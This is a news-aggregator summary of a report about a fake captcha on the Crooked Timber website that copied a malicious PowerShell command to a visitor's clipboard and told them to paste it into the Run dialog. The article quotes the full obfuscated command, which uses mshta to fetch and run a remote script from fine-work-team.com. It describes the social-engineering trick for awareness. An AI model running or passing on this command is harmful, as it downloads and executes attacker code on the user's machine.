← All stories
● Covered by 1 source · 1 reportLow impact1 negative

User encounters malicious captcha attempting to execute PowerShell script

🔄 Updated 1d ago
New to BrevFeed? We gather this story from every outlet covering it into one summary — ranked by real-world impact, not just the latest headline — so you never miss what matters. What is BrevFeed? →

Key points

  • Captcha instructed user to press Win + R then Ctrl + V and Run.
  • Clipboard contained a PowerShell command to download and execute a script.
  • The script would have downloaded content from fine-work-team.com/6272.
  • User recognized the malicious intent and did not execute the command.

Malicious Captcha Encountered

A user reported encountering a fraudulent captcha on the Crooked Timber website. The captcha, which mimicked a traditional Google captcha, presented two "Manual Verification Steps" instructing the user to press Win + R, then Ctrl + V and Run.

Clipboard Hijack and Script Details

Upon following the initial steps, the user discovered that their clipboard had been populated with a PowerShell command. This command, `pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi"`, is designed to download and execute a script from the URL `https://fine-work-team.com/6272`.

Security Implications

The incident represents a social engineering attempt to trick users into inadvertently running malicious code on their machines. Executing such a script could lead to system compromise, data theft, or further malware infections. The user recognized the malicious nature of the command and did not proceed with its execution.

✨ This summary was generated by AI from the outlets' reporting listed below. It is not independently verified and may contain errors — check the original sources. How BrevFeed works →

The daily brief

One email each morning: the day's tech stories, clustered across outlets and summarized. No account needed.

One email a day. Unsubscribe in one click, any time.

Today's brief

Spend a few minutes, get the whole day. Every topic's top stories in one hands-free rundown — listen, watch, or read the transcript.

~7 min · 6 stories · Aug 15

▶ Play today's brief Listen on Spotify

New every morning, and the back catalogue is archived by date.

Primary sources

GitHub HackerNews/API

Reporting from

A user encountered a deceptive captcha on the Crooked Timber website that instructed them to run a PowerShell script from their clipboard. The script, if executed, would download and run content from a suspicious URL, indicating a social engineering attempt to compromise the user's system.